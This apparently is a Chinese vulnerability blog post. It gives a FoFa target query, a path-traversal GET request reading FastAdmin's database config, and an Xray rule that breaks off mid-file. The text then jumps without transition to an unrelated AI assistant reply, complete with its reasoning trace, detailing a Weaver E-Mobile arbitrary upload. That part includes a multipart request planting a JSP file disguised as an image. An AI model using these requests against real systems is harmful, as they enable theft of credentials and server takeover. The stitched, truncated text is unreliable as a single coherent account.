fastAdmin lang接口任意文件读取漏洞(内含XrayPoC)

0x01 漏洞描述

fastAdmin是一款基于ThinkPHP和Bootstrap开发的开源后台管理框架,旨在帮助开发者快速构建高效、灵活的后台管理系统。

fastAdmin存在任意文件读取漏洞,可直接读取数据库配置文件。

0x02 FoFa语句

body="fastadmin.net" || body="<h1>fastadmin</h1>" && title="fastadmin"

0x03 漏洞复现

GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36

image-20240618101853801

Xray规则:

name: poc-yaml-fastadmin-lang-file-read
transport: http
rules:
  r0:
    request:
      method: GET
      path: /index/ajax/lang?lang=../../application/database
      follow_redirects: false
     
<think>嗯,用户想了解泛微移动管理平台lang2sql接口任意文件上传漏洞的测试方法和背景。首先,我需要回顾一下已有的引用内容,确保信息准确。根据引用[1]、[2]、[3],这个漏洞主要是因为后端没有对上传的文件进行校验,导致攻击者可以上传任意文件,包括恶意脚本,进而控制服务器。 接下来,测试方法方面,用户可能需要具体的步骤,比如如何构造请求,使用什么工具。通常测试这类漏洞会涉及抓包工具比如Burp Suite,修改上传的数据包,将文件类型改为允许的格式,比如图片,但内容却是PHP或JSP的webshell。同时,需要确认接口的路径,比如引用中提到/lang2sql接口,可能还需要特定的参数或请求头。 背景部分需要解释漏洞的成因,比如缺乏文件类型校验、路径处理不当等。结合引用中的信息,泛微的E-Mobile系统在处理上传时没有进行足够的检查,导致攻击者绕过限制。另外,资产测绘可以通过Fofa搜索product="泛微-EMobile"来找到目标系统。 用户可能还想知道如何验证漏洞是否存在,比如上传一个测试文件后访问返回的路径,检查是否执行。同时,修复建议也是重要的部分,比如升级补丁、加强文件校验、限制执行权限等。 需要注意的是,测试漏洞必须获得授权,否则可能违法。所以回答中要提醒用户这一点,确保合法性。另外,引用中的信息需要正确标注来源,比如引用[1]、[2]、[3]对应的内容,避免误导用户。 总结一下,回答的结构应该包括漏洞背景、技术原理、测试步骤、验证方法和修复建议,同时强调合法测试的重要性。确保使用中文,按照用户的格式要求,分点清晰,并且引用正确来源。</think>### 漏洞背景与原理 泛微OA E-Mobile移动管理平台的`lang2sql`接口存在任意文件上传漏洞,其核心原因是后端未对上传文件进行有效校验。攻击者可通过构造恶意请求,上传包含Webshell等恶意代码的文件至服务器,从而获取系统控制权。该漏洞被归类为高危漏洞,影响范围覆盖使用未修复版本泛微E-Mobile的系统[^1][^2][^3]。 #### 技术原理分解 1. **文件校验缺失**:接口未验证文件扩展名、MIME类型或内容签名,允许上传任意文件类型(如`.php`、`.jsp`) 2. **路径处理缺陷**:上传文件后未对存储路径进行安全限制,可直接通过URL访问 3. **权限配置错误**:上传目录可能具备脚本执行权限 --- ### 漏洞测试方法 #### 步骤1:环境确认 使用Fofa等网络空间测绘引擎搜索目标资产: ```http product="泛微-EMobile" ``` #### 步骤2:构造PoC请求 使用Burp Suite或Postman发送以下HTTP请求: ```http POST /weaver/weaver.lang2sql?type=1 HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="file"; filename="test.jsp" Content-Type: image/jpeg <% out.println("Hello Vuln!"); %> ------WebKitFormBoundaryABC123-- ``` #### 关键测试参数说明 | 参数 | 值示例 | 作用说明 | |------------|--------------------|------------------------------| | filename | test.jsp | 强制指定危险文件扩展名 | | Content-Type| image/jpeg | 伪装合法文件类型绕过前端检测 | #### 步骤3:漏洞验证 访问上传文件路径(通常返回JSON中含存储路径): ```http GET /upload/emobile/webserver/test.jsp HTTP/1.1 Host: target.com ``` --- ### 漏洞验证指标 1. 响应状态码为`200`且显示预期内容 2. 服务器返回包含文件存储路径的JSON响应: ```json {"success":true,"filePath":"/upload/emobile/webserver/test.jsp"} ``` --- ### 修复建议 1. **官方补丁升级**:及时安装泛微官方安全更新 2. **文件校验增强**:增加白名单校验(扩展名、MIME类型、文件头) 3. **权限隔离**:设置上传目录不可执行脚本 4. **WAF防护**:部署规则拦截异常上传请求
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值